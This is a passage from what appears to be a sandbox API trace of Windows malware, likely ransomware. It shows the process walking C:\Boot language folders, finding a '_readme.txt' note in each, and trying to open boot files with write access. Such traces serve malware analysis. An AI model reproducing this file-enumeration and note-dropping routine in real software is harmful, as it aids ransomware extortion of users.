out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.521] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.521] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.521] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.521] PathFindFileNameW (pszPath="") returned="" [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.521] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.521] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.521] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.522] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x3067040 [0122.522] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0122.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.522] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.522] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.522] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.522] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.522] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0122.522] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.524] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.524] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned=".txt" [0122.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.524] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.524] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.524] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.524] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.524] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.526] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0122.526] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.526] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.526] PathFindFileNameW (pszPath="") returned="" [0122.526] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.526] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.526] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.526] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.526] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0122.526] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0122.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.527] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.527] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.527] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.527] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0122.527] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.527] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.527] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned=".txt" [0122.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.527] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.527] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.527] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.527] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, 